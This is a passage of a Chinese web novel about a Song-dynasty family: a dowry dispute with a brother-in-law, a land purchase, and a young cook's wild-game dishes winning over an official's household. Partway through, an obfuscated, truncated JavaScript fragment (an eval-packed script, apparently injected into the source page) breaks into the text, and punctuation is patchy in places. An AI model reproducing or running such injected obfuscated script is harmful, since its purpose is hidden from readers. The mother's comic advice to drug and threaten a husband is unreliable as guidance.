进屋后几人吓了一跳:屋舍本就光线不好屋内家具陈设还简陋全是最便宜木头做成的家具还缺胳膊少腿一看就知道是其他屋里淘汰的旧家具。 屋内挂画全无 正堂有位夫人迎上来白发混在乌发里面色愁苦哪里像叶大富姐姐倒像他长辈。 “二弟!” 两方见面叶大福先哭了起来。 叶大富也红了眼眶但到底记挂着正事赶紧扶起她:“先别急着淌猫尿先讲讲何事。” 这才知道裘布仁抓住了运气搭上了军需的路子。 京城郊区有“养甲兵数十万”这些驻兵的吃油量巨大他一天就能卖出原来的好几倍:麻油杏仁油、红蓝花子油、蔓菁子油各种油都做起来。 因此裘家便扩大了生意赚得越来越多逐渐从一户中产富户变成了县城的富人。 这中间便是他小妾搭的桥原本是买来解闷的清倌人没想到她的干娘手下好几个姐妹跟军营里的一名准备将搭上了关系。 见着了银钱裘布仁越发宠爱这个小妾抬举她提了二房又只留在她房里。 叶家原本门当户对可后来叶大富落败、叶大官又生性凉薄没半点骨肉亲情叶家大姐便也只能忍辱负重。 “好你个裘布仁!你敢薄待我姐姐?”叶大富气得一拳就砸在桌上将上面茶碗激得跳了又跳。 “当初这婚事是你家老太爷和我爹一起说好的你敢不孝?”叶大富气得团团转恨不得现在就将姐夫揪出来狠狠揍一顿出气。 还是宓凤娘有主意:“你先别急。” 她先问大姐:“大姐如今有你二弟撑腰你想如何?” 大姐想了想:“小妾着实可恶可是我儿如今跟着他爹做生意万一发落小妾惹怒了他爹害得他没了家业该怎么办?” 说着又眼泪汪汪。 真是个糊涂蛋宓凤娘翻了个白眼:你儿看着你受苦不吭一声能是无辜的? 作者有话要说 今天写完早提前发晚上会不定时加更一章(具体时间不定因为给我写馋了我决定先去吃火锅!) ①:源自网络我没找到对应书籍。 第 40 章 烧斑鸠、香炸野鸡... 叶大福没有正面回答,只是继续哭,跟兄嫂诉说自己受得委屈:什么丈夫如何将管家权交给小妾、如何拿儿子拿捏她让出嫁妆、如何给她残羹冷炙,听得人拳头攥紧。 叶大富可顾不上等大姐纠结,既然不见大姐决断,他先开口替大姐选择:“你可愿意和离?” “和离?”叶大福吃了一惊,哭都顾不上了。 “既然裘布仁那厮抬举小妾,你终年受苦,和离岂不是最好?”叶大富回忆,“当初给你置办的嫁妆丰厚,丰衣足食平安度日还是可以的。” 宓凤娘也表态:“如今我家日子虽然不如从前,但从寻到盏儿后也在好转,能照应大姐不受人欺负,大姐尽可放心。” 叶盏在旁看得眼花缭乱,好家伙,爹娘这么有魄力吗?上来就劝人离婚? 就算在离婚司空见惯的现代,大家遇到亲戚矛盾也不会马上立刻劝离婚吧?大部分还是担心夫妻床头打架床尾和,自己掺和白白成了人家夫妻的仇人,所以都会明哲保身糊弄几句。 爹娘情商都很高,怎么没在这件事上选择观望或和稀泥呢? 正看得热闹,忽听得门外有人冷冷道:“吆,今日吹得什么风?” 叶大富回头一看,怒从胆边生:“什么风?贼跌折腿的三寸丁风!” 原来裘布仁这人个子矮,走路姿势不雅观,远看像瘸了一腿。 宓凤娘看大姑姐脸上不痛快,赶紧拉丈夫一把:“孩子们面上,快休恁的。” 裘布仁眼珠子转了转,先上下打量了他们衣服一眼:“如今你家可是富贵了?” 宓凤娘哼了一声:“也就只是认识了几位贵人吧。”这厮当初看不起叶家,如今可要好好给他脸色瞧瞧。 裘布仁那轻慢的神色果然收起了不少。 叶大富懒怠理会他,只问:“你如何慢待我大姐?我大姐的嫁妆你收去了哪里?” 裘布仁听第一句话还仍旧混不在乎,拿根牙签有一下没一下剔牙,可等听到第二句后便放下了牙签,笑道:“既然许久不来,堂前摆了饭菜,先去吃饭。” “我来这里是为着探望我大姐,又不是为了吃一口饭。”叶大富才不稀罕他的饭菜,“早从门外叫了饭进来。免得你肉疼。” 裘布仁像没有听见 这句嘲讽一般:“既然二弟买了饭,那我就也跟着蹭一口。今日就在这里摆饭。最后一句吩咐身边的小丫鬟。 叶大富看这小丫鬟还是他身边跟着的,姐姐住的侧院连个服侍丫鬟都没有,心里更恨:“我买的饭不许你吃。你先说说嫁妆。 “都是一家人,何必讲究去向?裘布仁亲亲热热给叶大富倒了杯茶,“做生意周转困难,你姐姐深明大义拿出来帮我,这还有错了? 叶大富看向大姐,大凡这时候大姐出来说句话,说自己不是自愿拿出嫁妆的。他就有理由再闹。 可是叶大福什么话都没说,只是继续掉眼泪。 叶大富心里叹口气。气势先去了一半。 裘布仁见状更加得意:“再说了,我膝下就一个儿子,以后还不是都是他的? 又走到妻子身边,不顾周围还有这么多小辈呢,亲亲热热拍了拍她肩膀:“你啊,就是一个人想太多,还爱吃醋。 大姑没甩开他搭在肩膀上的手,裘布仁便笑:“说来让二弟看笑话了,我新近得了个小妾,去她那里次数多了些你姐姐便怄气大闹,男人嘛,谁没个好色毛病?可我又不傻,那小妾连个儿子都没有生,回头老了提脚卖了便是,哪里值当我们两口子这么吵架? 他这么说,叶大福果然神色松动,眼泪也不掉了,人也不哭了。似乎觉得丈夫说得很有道理。 叶大富一听,那小妾没有儿子,在裘布仁嘴里似乎并不值得看重,先松了口气。 倒是宓凤娘撇撇嘴,今年没儿子明年不能生?真有诚意怎么不是现在就卖?这种男人的话骗傻子呢。 再说就算他说话是真,能嫌弃小妾老了就能嫌大房老,看着和小妾情浓可说卖就卖,小妾虽然没儿子但也生了女儿,难道连终老都不能?可见这男人生性凉薄。 只不过再看大姑姐,满面春色,又面露骄矜,已经被姑父稳住,就知道今日这一场是狗拿耗子。 裘布仁看着叶家偃旗息鼓,便笑道:“都是一家人不说两家话,今日我设宴,二弟跟我细细说说在京里遇到什么贵人,看能不能帮姐夫姐姐排忧解难。 叶大福居然也站起来,擦干净泪痕就像什么都没发生过一样,开始招呼小丫鬟:“去叫人摆酒。也不管那小丫鬟压根 儿不理会她。 叶大富这时候哪里有心情吃酒:“既然姐夫说心中还记挂姐姐那便把嫁妆先还来 裘布仁装没听见叶大富才不理会他呢:“说起赖皮我可是赖皮祖宗你别想用这一招敷衍我。”又再三追问还拒绝了姐姐打圆场一副不解决就不走的架势。 “你这厮好不识抬举。”裘布仁瞬间变脸起身指着叶大富鼻子开骂“让你几分颜色你要开染坊不成?” “你要作甚?”金哥儿瞧见不对立刻挺身挡在了亲爹前面。 他人高马大裘布仁笑容变都不变一个眼神叶盏就觑见了个婆子偷偷溜出去喊人。 这是裘家地盘大小家丁几十号人两边打起来的话叶家人还真不是对手。 电石火光之际叶盏忽发急智:“爹快别闹了一会我们还要集市上给长公主选购土产呢耽误了时间可怎么办?” 长公主?裘布仁脸上的阴毒一刹那消散得一干二净狐疑盯着叶家人。 宓凤娘也反应过来了特意摸了摸发髻间扎着的红缨:“是啊得了长公主送的红头绳总要回礼才合适你只顾着在这里说话集市散了去哪里买?” 裘布仁打量那红缨:上好的红缨绳上面沾染着的染料一看就是极红极昂贵的正红让不懂染料的人也能明白寻常集市上买不到。红缨中段打一个如意结是宫里的花样坠角是红玛瑙玛瑙不贵但难的是寻颜色这么红里头毫无半点杂质的。 裘家如今也算有点家底了裘布仁也会分辨好东西。这红头绳他要花费大价钱大力气也能买得起可他怎么会买这种女眷手边容易丢失的日用消耗品? 也只有真正的贵族人家才会将不小心会丢失的头绳做得这么贵随意堆在抽屉里一堆随心所欲想用就抽一条连数目都不会计数。 再联系到叶大富忽然咸鱼翻身裘布仁动用他那小生意人的狡诈立刻得出结论:叶家真的是傍上了贵人。 “老爷小的来了!”门外几个小厮气势汹汹过来。 身后跟着那个气喘吁吁的婆子看他们这行人的架势只要等裘布仁一声令下就要将叶家人捆起来暴打赶出府去。 “干什么?”裘布仁抬 起眼不耐烦挥挥手“大惊小怪快下去哪里有进内宅的道理?别让亲戚们嘲笑。” 小厮们不明白发生了什么跟着婆子描述跑进内宅还以为自己护卫有功能得到主家的嘉奖呢谁知道莫名其妙被骂了一顿。当即有好几个有血性的想等做工期满就不再续约了晦气! 裘布仁又骂婆子:“你大惊小怪些什么?在外面乱嚼舌根没看我跟大舅哥聊得正好吗?滚!”几句话就把婆子骂走了。 婆子是小妾的人蝎蝎螫螫跟踪过来本来想添油加醋来两头讨赏却没想到劈头盖脸挨了顿骂心里恨恨走了:该!等你被叶家人暴打我就装没听见! 裘布仁连着“阿嚏”“阿嚏”打了两个喷嚏 似乎刚才那个要动手的人不是他。 叶大富哼了一声懒怠看他在这惺惺作态演戏扭头问叶大福:“大姐拿你的嫁妆单子来。” 叶大福迟疑着“嗯”了一声宓凤娘看不下去走到她跟前半是搀扶半是催促:“走吧去拿。” 拿到了嫁妆单子叶大富斜斜睨裘布仁一眼:“今儿个我办完事才走。” “好说好说。”裘布仁笑着扬嗓子把自己骂走的小厮又叫回来“去叫账房来。” 说话间叶大富外卖的饭菜也到了他也不让裘布仁自己命令小厮将饭菜摆在桌上招呼家人来吃。 裘布仁也不恼叫了下面人摆菜:“快去催厨房哪里能让亲戚连口饭都吃不上?” “可……”那人迟疑“今儿厨房都拿着小镊子在给二奶奶挑燕窝毛呢这个点腾不出手来。” 叶大富咳嗽一声放下筷子看裘布仁裘布仁被他看得心里发虚一脚就将那丫鬟踢倒:“狗东西!主家的话现在不管用了?” 过一会才有饭菜摆上来倒也没敷衍硕大的酱肘子、整个囫囵的烧鸭、满满当当一盘的鸡块叶大富便也不客气风卷残云吃了起来。 等吃得半饱账房才拿着账册过来。 叶大富便将嫁妆单子上的田契房契收了回来叫叶大福拿着。这还不算完:“拿走这些年收的赁金呢?” 裘布仁笑起来:“好舅爷这钱却 不能够,一来家里生意困难填补进去,二来你外甥去湖广贩丝贩油难道不要本钱么?” “是啊。算了吧弟弟。”叶大福居然也跟着开口求情,“我前些年也花用了不少。” 宓凤娘在心中暗骂:真是个糊涂蛋。 她印象里的叶大姐嫁得好回娘家总容光焕发,谁能想到这些年她变成了这样呢。 “也罢。也罢。”叶大富叹了口气,将嫁妆盒子交给姐姐,“将这嫁妆收好,别再心软交出去,若是有人强迫你你就来捎话来汴京城找我。”说着警告似得看了裘布仁一眼。 裘布仁赶紧嘿嘿笑起来:“都是一家人,不至于不至于。” 叶大富白了他一眼,继续叮嘱姐姐:“爹娘给你陪嫁了几十亩县城边上的良田加上县城一个商铺,这商铺赁金和田地出产也足够你和离后也能安稳度日。不要忍着委屈。” 叶大姑接过田契房契,不再吭声。 一场闹剧就此落幕,吃完饭,裘布仁亲亲热热要与叶大富勾肩搭背:“大富,你好好讲讲长公主那里的事。” 一家人往外走,宓凤娘也要跟着丈夫出去,却被叶大姑叫住:“弟妹。” 宓凤娘停住脚步,看了看大姑子:“大姐,这回大富可差点被揍了一顿。” “弟妹……,我,……我实在是……”叶大姑不敢抬头,盯着脚尖,手里腰带被拧了几拧,“到底是个家,哪里就能随便散了?” “啪”地上掉一滴圆圆的泪珠。 宓凤娘一肚子气散尽,叹口气,大姐,当初也是个爱笑爱闹的活泼少妇,责备的话到底说不出口:“你要是有事就捎话找大富我们,不过,以后你也得硬气些。” 等从裘家出来宓凤娘教导两个女儿:“性子不要软弱,别怕夫家,上有律法撑腰,下有娘家帮忙。” “可万一像大姑这样娘家忽然出了事呢?”玉姐儿开口。 听到这里叶盏也忽然想明白了为什么爹娘要趟这趟浑水,因为叶大富认为叶家大姑境遇变坏也与叶家衰落有直接关系。 “如果到处无靠,就自己泼辣些做出拼命的架势,也能把男人吓死。”宓凤娘言传身教她们市井生存的智慧,“趁着男人喝醉酒没有力气时绑住他手脚用软鞭子蘸水抽一顿,或是每日给他碗里下泻药 半夜在他耳边叹气磨刀。 “只不过要机灵些,得看清男人不是那种亡命徒也别让他反拿了刀。叶大富在旁边补充。 “总之,别听男人花言巧语,要自己把钱攥在手里。玉姐儿沉思。 不能听男人哄你两句蜜也似的话,你就昏了头将钱财交出去。 “像你们大姑母这般,其实丈夫在外面找个小妾的门路,那就当时就闹起来,要自己儿子接手这条线,然后自己与管事的母亲妻子相熟走动,一面让儿子出面跟管事交际。 “虽然一开始搭线的是小妾,可哪个有脸有脸人家女眷跟妓子交往?最后这条线还是能被自己和儿子攥在手里。这样丈夫看在利益的份上也不敢张狂。宓凤娘告诫女儿们。 可一看叶盏一脸“我绝不成婚的坚定,玉姐儿探着头一个劲看食摊上挂着的酱桂花鸭子,宓凤娘叹了口气:只好日后慢慢教导了。 家人四处走亲戚,叶盏也借机看了看周围的土产,这才知道大宋人民食谱丰富,除了常见的猪牛羊,还吃山野鸡、鹧鸪、鹌鹑、野鸭,果子狸、野兔子等野物。 叶盏便琢磨着跟乡下亲戚定个协议,到时候从雍丘县送到汴京城,丰富下食肆的菜单。 又在外面几个村的亲戚家里轮流转几天,再回到叶家村时已经是三天之后。 几天不见王四,他脸上长了个大包,大红肿得发亮,满脸急切之色。 庄户人家一般很少卖田买地,如今是夏天,地里的稻麦还没有变成钱,手里拿来的余钱买地? 大地主们也不急着买田,王四要求把稻田里的稻谷收割了再交割,这不是耽误了一季吗?不如开春了再出手购买,这样接手不耽误农时。 叶盏觉得他找错了地方,他要是一开始去找汴京城里的经纪说不定还真能帮他卖掉,这一个村子毕竟需求有限。 叶家人不慌不忙,进了村就去自家亲友跟前打听,果然打听到王四已经对外放出风去,说只要他手里的五十亩田地全吃下,愿意总共降价二十两。 叶大富盘算一下,这个价格算是合理,便去找村长说和。 “您说叶大富要买我的地?王四根本不相信自己的耳朵,“他哪里来的钱? 想起两家上次的龃龉,不由得面露愤恨: “就冲他跟我断交那架势,这地我不卖了!< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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在村里这买田是大事,当然要请族长来见证,村长也是村正,和里正都是行政长官,他们看过后才能送到县衙备份。 可两家一起去县衙备份时,要轮到王 四时,他却无论如何都不愿意签约,咬定了要再加二十两银子。 “谁不知道你现在发达了?在汴京有钱了,凭什么要我降价?”王四脖子一横,一脸无赖样,“我就是后悔了又怎么样?你在村里盘桓几天就等着我先耐不住呢,凭什么我降价?” 宓凤娘纳闷,他们这一路来除了村长没跟任何人透过口风要买房,这王四如何知道的? “我们怎么就等你降价了?”宓凤娘从他嘴里套话,“我家是回来走亲戚,临时起意才要买田。” “谁信你?叶大官亲口告诉我的!”王四理直气壮,他本来就迟疑,这下更是生气。 宓凤娘愤愤:他们进村时看到过弟妹,她贼眉鼠眼的,宓凤娘没把她当个屁放,谁知第二天去扫墓就在坟墓前见到过二房的小孩,当时以为他是好奇,原来是跟踪了他们听走了叶家人在祭祖时的念叨。 听走便也罢了,居然跑去给王四通风报信。“当真是损人不利己!”金哥儿气得一拳砸在手心。 王四越发得意:“被我说中了吧?加钱!否则我就不办!” 里正和村长族长都在场,面面相觑,他们没想到王四居然能中途反悔。 就在这时忽然有位熟悉的老人走过来:“何事喧哗?” 旁边的小吏们开口:“见过主簿大人。” 里正和村长们也跟着行礼,叶家人行过礼之后才发现那人就是当日车上跟他们同坐一车的老人。 一个县里最大的长官是县令,下面两名县丞协助办案,再下面便是主簿。 虽然主簿平日里只用管着文书往来,也是名副其实的三把手。 小吏们讲完事情缘由,他们也为难,乡下人淳朴,这还是第一遭买田时候有人反悔的。 主簿听完来龙去脉后,只开口道:“若是不愿履行条约也可,只要依照契约约定赔付定金便是。” 叶盏便赶紧翻起了双方画押的契约:“如有一方违约,赔付另一方十两银子!” 小吏点点头,指着王四:“你拿出十两银子给他,我就把这契书撕了。” “十两银子?”王四盯着那契书反反复复看,他没什么大学问,字也是后来认的,做生意也是靠老婆家一班忠诚的伙计和账房,没意识到契书是不能随意签的。 “是,赶紧给吧。小吏催促。 王四盯着契书,额头上硕大的汗珠直往外蹦,最后思前想后,只能咬咬牙开口:“算了,就按照原合同履约吧。 终于签了契约,王四连个笑脸都没有,揣着银子急匆匆就走。 叶大富倒好奇:酒楼每天都有稳定的现金流,这厮怎么会忽然这么缺钱? 不过如今天他抽不出时间来料理王四,急着看自己的田地。 不是买了田就算,要置办水田耙、耖和礰礋这些农具,还要雇佣佃农。讲究些的还要买水牛,再买秧马、?秧船等种稻谷的工具。 叶大富便一人留在村里,等置办了这些再回去。 宓凤娘担心他一人弹压不住,遭叶大官陷害,便留下金哥儿作伴。 其余人便急着启程回汴京。 又去了集市上采购东西。 叶盏拿出银钱买了山野鸡、鹧鸪、鹌鹑、野鸭各一对,又买了野兔一只,又买了些灰灰菜菜干,新鲜的一担子无花果、核桃、榛果、等物。 “一来琢磨些新菜式,二来给杜家府里送礼。给府里主家和往日姐妹们带些乡野吃食。 “我的儿,还是你想得周到。宓凤娘赞一声,自己也掏钱买了些人情往来的。这要是提一篮子送到长公主府得了青睐赏赐下来,下次吹牛的素材不是又有了? 金哥儿玩伴、银哥儿同僚、叶璃师傅、自家房东,还有上次送她们寝具的陶家。 叶盏便吩咐小贩:“不用除去枝条,就带着叶子最好,要的就是那份从树上刚摘下来的野趣。 又挑选了好看精巧的竹编篮几个,到了京城就叫人直接送到杜府上去。 谁知正在集市上采购,往前走却看见了裴昭:“裴大人? 宓凤娘高兴得什么似的:“今日喜鹊叫,谁知一个贵人接着一个贵人得遇。要是能让裘布仁那厮看见她又跟主簿熟悉又跟裴大人熟悉,那还不得狠狠出气啊? 叶盏福礼:“见过大人。纳闷怎么在这里碰见裴昭。 玉姐儿热络问裴昭:“大人可是来买果子狸的?她看着人家挂在外面的风干肉,可是妹妹说野外不要乱吃,不许她吃。 裴昭仍旧是面色如水:“办公务路过此处。 第 41 章 烤鹌鹑 裴夫人一点都没瞧出儿子的不对劲,她还热情招呼儿子呢,又吩咐小丫鬟:“给少爷添一副碗筷。” 今日到了饭点,裴夫人就听外面管事通禀,说外院有家食肆的老板送来了一个食盒,说是今日借了少爷的马车回来,作为答谢少爷的礼。 管事寻来马夫来认,也点点头:“少爷今天的确同车顺路载了这位。” 既然确有其事收下食盒就正常了。 裴夫人问清楚后便留下了食盒。不然她还真不敢收:儿子干着牢狱事容易得罪人,万一是仇家下毒报复怎么办? 想想又跟管事说了下此事,叫他平日里也万分小心、肃清门户。 管事应了声是,他倒也知道那家食肆:“那家老板的食肆在这一片街坊中小有名气,听说很多人排队去吃。” 敢做菜来送人,那肯定对自己的厨艺有信心,裴夫人随口道:“那就摆上桌吧。” 正好要用膳,等着儿子一起来吃饭。 管事没说明白老板是男是女,裴夫人又听说对方和自己儿子同车,便理所当然认为对方是位男性,因此并没有跟他打听旁的。居然忽略了最重要的一点。 饭菜摆上桌,裴夫人坐着喝茶等儿子。 不过儿子今天比寻常还要下衙晚,她身边的婆子去询问车夫,才知道少爷忽然放下公务告假去了趟雍丘县,回京后又马不停蹄去衙门。 那么应当是要继续完成耽误的公务了,裴夫人听完没当回事,吩咐厨房将几个菜用温水热上,以免菜凉了。 端菜时厨房的灶娘面露迟疑:“夫人,这几道外面来的菜都讲究火候,我怕把握不住火候反而失其美味……” 裴夫人意外,看了厨娘一眼。 裴家虽然说不上大富大贵,但厨娘也算是小有能力的,怎么会把握不好火候。 “夫人,不是我有意拿乔。”厨娘解释。 都说外行看热闹,内行看门道,她刚才上来端菜,一眼就看出了桌上几道菜不一样。 “烤斑鸠外皮烤得焦脆,上了蒸锅,水汽进了外皮,会变得黏糊糊。香炸野鸡吃得就是从油锅里出来那股锅气,五香兔勾芡汁水正好,加了水汽会变得汤汁清浅,滋味就没那么足了。茨菇糕虽然是糕点,可上面撒了一层面蓬,再加热水汽 会让面蓬吸水,反而不美。 “这些菜看着寻常人也能做,可差了火候便总觉得少那么一种滋味。厨娘一一解释。 “怪不得以前有家爱吃的老字号,换儿子接班后滋味就大不如前。裴夫人念叨,“老字号必不会对儿子藏私的,而是个人领悟能力有深浅。 “正是。厨娘接话,“做菜这位厨子应当是觉得送过来就能马上开吃的,所以掐点做好了火候。 只不过没想到少爷不在家,被公务耽搁了,下衙晚。 裴夫人倒不好意思:“既然人家一片匠心,轻忽了反而不美,那放下我吃吧。 其余的菜式就让在家里热着。 她筷子先夹起一块茨菇糕尝尝。 茨菇清凉凉的,没有土腥味,应当是茨菇新鲜的缘故,让人想起江南可采莲的诗句。 吃一口甜甜的,但又不会太甜,在甜蜜中还能留出茨菇的清新味道。 茨菇也没有完全搅打成泥,而是保持了颗粒感,吃起来脆脆的,很过瘾。 裴夫人吃了一个又去吃第二个。 要拿第三块的时候裴夫人看了看盘里:一共有四个茨菇糕,自己吃了两个。 那算了,再看看旁的。她去夹块烧斑鸠。 裴夫人平日里不大爱吃斑鸠,要嗦肉吐骨头,总归是不雅观。 可吃起这一块,焦黄色斑鸠皮脆脆酥酥,用力掰开骨头,内里的肉汁立刻滴滴答答流了一盘子,散发着浓郁的香味。 吃起来饱满的肉汁混合着鲜香焦脆的外皮,还有那一股炭火烤制过独有的香气,让人大快朵颐。 让裴夫人对斑鸠的印象大为改观:原来斑鸠这么好吃吗?这么看来自己以前错过了不少美食。 又夹了几筷子,裴夫人想了想,算了,每盘菜夹一筷子吧。反正家里都是公筷,儿子来也能接着吃,没有什么妨碍。 这东一筷子西一筷子,很快就吃了许多。 直到儿子回来看到这一幕。 不知道是不是裴夫人误会,她怎么觉得儿子的声音有点……幽怨? 不过她很快就把这个奇怪的念头抛之脑后,觉得是自己本身因为多吃有点愧疚感。 赶紧招呼儿子:“没想到这位老板挺有江湖义气,居然还送 吃食过来。 裴夫人出身书香门第,但这么多年做生意常与江湖上鸡鸣狗盗之徒往来,反而很欣赏这种引车贩浆之流的江湖义气。 “嗯。儿子轻应了声,“她是挺有分寸礼貌的。 “怪不得人家这吃食能拿来卖,每一样都不一样。 “我瞧着今天古厨娘都叹气,说自己比不过人家。我们要是多吃几顿,只怕古厨娘会伤心,觉得自己再无用武之地了。裴夫人住了筷子,忍不住多说几句,说完后又想起食不言的规矩,便给儿子夹一块茨菇糕:“尝尝这个。 裴昭坐下,老老实实吃茨菇糕。 茨菇糕被称为水八仙之一,却多是放在菜品里红烧,取其脆爽,很少有人会想到做成甜品。 叶盏做得这道点心加了石蜜、芡实、山药等多种食材,混合在一起是淡淡的粉紫色。 吃起来口感软软的,还有颗粒感的脆爽,软糯香甜,满口清新。 裴夫人瞥了一眼儿子,他吃得很慢,似乎在回味什么。裴夫人没当回事,还当儿子跟自己一样沉浸于美食了。 等吃完饭两人又坐下喝茶。 说起奇怪,裴夫人平日里不是忙着做生意就是忙着应酬官夫人,对吃饭也就是吃饭而已, 却没想到吃饭也能这么享受:“这还是我第一次觉得吃饭不单单是果腹,怪不得那些达官贵人们喜欢下馆子呢。 “娘平日里操心太过,如今家里有我和爹的俸禄,其余资产置办成田产房舍赁出去,定时收租金便是。裴昭想起母亲的辛劳,随口劝她。 “你当我是痴儿?裴夫人想起京中管房租叫痴儿钱,不由笑。 裴昭也笑。 母子俩分离太久,礼貌有余亲近不足,这还是他们第一次坐在一起开玩笑。 这一笑就亲近许多,往常那些疏离在渐渐消逝。 裴夫人叹口气:“忙惯了就停不下来了,再说我和你爹都憋着一口气呢。 憋着什么气?裴昭一清二楚,当年爹娘白手起家,没要半点家族的钱财,自然有不少亲戚朋友对他们二人冷嘲热讽。 因此裴夫人才会这么多年要强做生意,为的就是能够在当年那些人跟前狠狠出这一口气。 “不过如今也算功成名就 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想起那桌菜,不单是菜式做得好,而且还能弥补了她和儿子之间的母子之情 当即吩咐管事:“去问问那厨娘,这几道菜的方子卖不卖,也不买断,她往后还能在市面上卖,只是我家也能府内自用。 叶盏听到这消息倒没觉得意外, 古代宦官人家为宣示自家有底蕴传承,都会有自己的私房菜单子,什么谭家菜,孔府菜,都是流传到现代的菜系。像裴家来询问菜单子也没什么意外的。 她便将做法都写在了纸张上:“裴大人与我认识,因此这几道方子总收一千文便是。 管事讶然,他准备了十两银子,还担心不够呢。 没想到总共只要一两就够了,这可是大小四五道菜呢,每道菜单独拎出去都能做传家的菜式,居然只收这么点? 不过听到厨娘说跟裴大人认识,便也点点头不再纠结:“娘子大气。 裴夫人见了食谱,先是意外:“这是厨子自己写的? “正是。管事也惊讶,“市井里居然卧虎藏龙。 他能识字是因为他爹就是裴家的大管事,有财力有动机,自小就监督 儿子读书写字方便日后好看账管家。 寻常百姓家愿意供给子女读书的少 却没想到小小厨娘出身市井居然能读书识字而且里头好些字并不是简单的笔画很复杂。 “字写得不好笔画还欠调校不过难得是字面里面的气韵气冲河川似乎不是久居人下的人。” 裴夫人中肯点评。 气韵?她的丫鬟左右打量。 “字能看出人的气质也能看出人的志向。”裴夫人指点其中横撇竖捺“可惜是位市井厨子否则说不定还能做官为宰。” “虽不能在朝堂做相公但说不定在厨子界也能位列三公呢。”丫鬟听明白了凑趣。 “也是。”裴夫人点点头“三百六十行行行出状元。” 叶盏丝毫不知道自己已经变成相爷了正在烤鹌鹑呢玉姐儿吃得满口流油:“刚才有客人找上门了说叶二姐门口告示只贴了有事回乡 有了妹妹这些新菜式一定能再赚一笔。 作者有话要说 送上今日加更。晚上九点见 你身边有不少朋友还没看到本章呢,快去剧透一下,他们会很崇拜你的 第 42 章 乌葚膏 叶二姐食肆新近又推出了山野套餐。 据说菜单上的食材全部源自山野之间,是当天就从乡下运进城的。 开封市毕竟是个大都市,许多百姓吃的食物都是从郊野运来,有时候过夜难免,因此这新鲜的食材就是个大噱头。 原本就火爆的自助餐形式这回营业额又增加了几成:山野套餐有好多种,吃自助餐是最划算的方式。 老食客汤大人约了同僚一起去:“还是那家食肆合心意,旁的脚店来回就几个菜,吃久了闷倦得很。” 大家当然应下,汤大人看着小裴大人捧着一卷案卷在琢磨,还当他又要研究案情不吃饭,便没打算叫他。 谁知小裴大人将案卷一收,齐齐整整放在了桌前,起身道:“好,一起去。” 这却奇了怪了,小裴大人也有放下案卷这一天。 到了叶家食肆前面就看见在排长队,汤大人熟门熟路赶紧上前派对,还有闲心去看食肆前挂出的木牌子。 那木牌子是店主新想出来的法子:将每日里的菜品写在外面,方便派对的食客提前得知。 “大奈糕、五香兔、烤鹌鹑、茨菇糕、蒸青鱼、煎鹌鹑、鹧鸪盅……” 汤大人念了出来,要不是读书人还惦记着斯文,口水当真会流出来。 好容易排到了他,他付了钱,就听活泼些的小伙子问收钱的玉姐儿:“叶大姐,今日有甚么汤水小菜赠送?” 汤大人暗暗好笑,叶大姐在学厨艺,只不过如今技艺连她妹妹的一成功力都不到,失败品就成了店里免费赠送的食材。 有时候是雕坏一半翅膀的仙鹤状萝卜腌菜,有时是大小不一的胡萝卜素汤。 果然就听玉姐儿垂头丧气答:“腌胡瓜条。” 那些食客们就笑,他们在店里吃饭次数多了,看着玉姐儿就如朋友一般,有人促狭开口:“叶大姐,我想吃林檎酱,明天你雕林檎果罢。” 气得玉姐儿狠狠往嘴里塞了一块甘草杏蜜饯,两腮鼓囊囊,活像个生气的松鼠。 那蜜饯是鲜艳的黄色,外面还挂了一层雪白的霜,看着就很好吃。可食客们都知道那是店主特意给姐姐做的零嘴,外面买不到,因此都顾不上嘲笑玉姐儿,齐齐咽了咽口水。 有那性子急的, 翘首看打菜台:“还有多久轮到我啊?” 汤大人四平八稳的性子也有点急,好容易轮到他,他一点都不犹豫就点菜:“每一样都来一点。” 肚里馋虫完全被勾出来了,当然要每一样都来点犒赏三军! 裴昭就在他后面,但他只挑了几样:“大奈糕、蒸青鱼、煎鹌鹑、鹧鸪盅,就这几样就好。” “怎么不吃那五香兔?居然还挑着吃。”有同僚不理解,叶二姐食肆的菜品随便挑一种都很好吃,为何还要挑着吃? 也没听说小裴大人有挑食的毛病啊。 “上次吃过了。”裴昭面不改色回答。 “噢。”大家恍然大悟,毕竟人的饭量有限,留着肚子给更多新鲜菜式也很合乎情理。 眼前饭菜色香味俱全,大家的注意力全都回到了菜式,没人想起一点:这菜式不是今天才推出来的新品吗?怎么小裴大人就吃过了? 汤大人此时迫不及待就吃起了大奈糕。 这道菜原本就是大宋人熟悉的一道点心,可是店主明显改良过方子,让它更加甜酸可口。 选用了山野中新鲜的沙果②,挑拣出其中佼佼者。 只要红艳艳的,外皮有疤痕的,有黑点的不要,不够圆的不要。 沙果上挖一个小洞,放罗汉果、甘草片和冰糖煮熟,让沙果沾染上清甜的滋味。 叶盏在做这道菜的时候,觉得沙果挖个洞有点像后世的山楂水果罐头。 趁着上锅蒸熟的时候开始调制馅料,松仁、榛子等各种坚果馅磨粉加上蜂蜜一起调成混合物,填入沙果的小洞上锅蒸熟。 叶盏自己给这道菜取名——五仁月饼馅酿罐头山楂(宋代特供版)。 高油高热量很符合当今时代的口感喜好,所以很受居民欢迎。 被叶盏加工改良之后,微酸的沙果与甜腻的果仁完美融合,保持了甜度但更多是用罗汉果这样的果糖味道,用水果淡淡的清甜代替冰糖的甜度。 这样既能满足大宋人民的味觉,又能多一抹山野果实的野性。 吃完大奈糕之后味觉顿觉被打开了,汤大人又吃起了一块烤鹌鹑。 刚才他就闻见了, 店主把鹌鹑褪了毛,收拾后用铁签子串起来,在门口的烤架上点了果木 炭在烤制。 果木炭的香气熏到鹌鹑上,鹌鹑渐渐烤得冒油,散发出阵阵香气。 吃起来先能尝到外面焦黄的外皮,果木的香气已经尽数熏进了鹌鹑骨肉,有浓厚的熏制香。 汤大人吃得不亦乐乎。 裴昭则在端着汤盅喝一份鹧鸪盅。 这鹧鸪盅是将收拾好的鹧鸪,立刀好后和腊肉骨头、白菘放入盅中隔水炖蒸。 汤盅中本身加了一点水,再加上炖盅上加了瓷盖,所以蒸汽半点都进不去盅中,里头的汤全部是白菘和肉汁,很纯很浓。 醇厚的鹌鹑,搭配上咸鲜的腊肉和微甜的白菘,让整盅汤水变得滋味浓厚鲜美,每一口都充满了山野气息,让人沉醉。 